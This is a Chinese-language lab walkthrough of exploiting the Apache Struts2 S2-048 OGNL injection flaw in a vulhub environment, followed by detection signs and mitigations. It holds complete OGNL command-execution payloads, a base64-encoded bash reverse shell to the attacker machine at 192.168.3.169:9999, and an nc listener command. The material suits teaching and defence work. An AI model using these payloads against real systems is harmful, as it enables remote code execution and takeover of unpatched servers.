乌班图中的vulhub靶场
攻击机:kali:192.168.3.169
靶机:Ubuntu:192.168.3.142
(2)查看端口(8080):docker-compose ps
(3)登陆靶场:192.168.3.142:8080
(4)执行2*3验证漏洞存在
%{2*3}
(5)验证执行系统命令
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
(6)反弹shell(这里的ip是攻击机的ip)
bash -i >& /dev/tcp/192.168.3.169/9999 0>&1
进行base加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTY5Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
构造paylord:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTY5Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}').getInputStream())).(#q)}
(7)kali开启9999端口监听
nc -lvvp 9999
反弹shell成功
(1)异常的HTTP请求头或请求体,包含看似合法的但实际上是精心构造的字段值。
(2)字段值中可能包含OGNL表达式或其他代码片段,用于触发漏洞并执行恶意操作。
(3)攻击者可能会尝试多次发送此类请求,以绕过可能的防御机制或提高攻击成功的概率。
(1)系统升级:将Apache Struts2框架升级到不受该漏洞影响的最新版本(如2.5.10.1或更高版本)。这是最直接且有效的防御手段之一。
(2)临时修复:在无法立即进行系统升级的情况下,可以采取临时修复措施来减轻漏洞的影响。例如,通过修改代码或配置来禁用Struts 1插件,或者通过修改服务器端的处理逻辑来过滤或转义恶意的输入数据。
(3)使用Web应用防火墙(WAF):部署WAF产品可以在一定程度上防御针对Web应用的攻击。对于S2-048漏洞,一些先进的WAF产品可能具备基于人工智能语义分析技术的检测引擎,能够识别并拦截利用OGNL表达式等机制发起的攻击。
(4)加强安全审计和监控:定期对Web应用进行安全审计和漏洞扫描,及时发现并修复潜在的安全问题。同时,加强网络监控和日志分析,以便在攻击发生时能够迅速响应并采取措施。
(5)安全培训和意识提升:加强开发者和运维人员的安全培训,提高他们对Web应用安全的认识和防范意识。通过定期的安全演练和应急响应培训,提高团队应对安全事件的能力。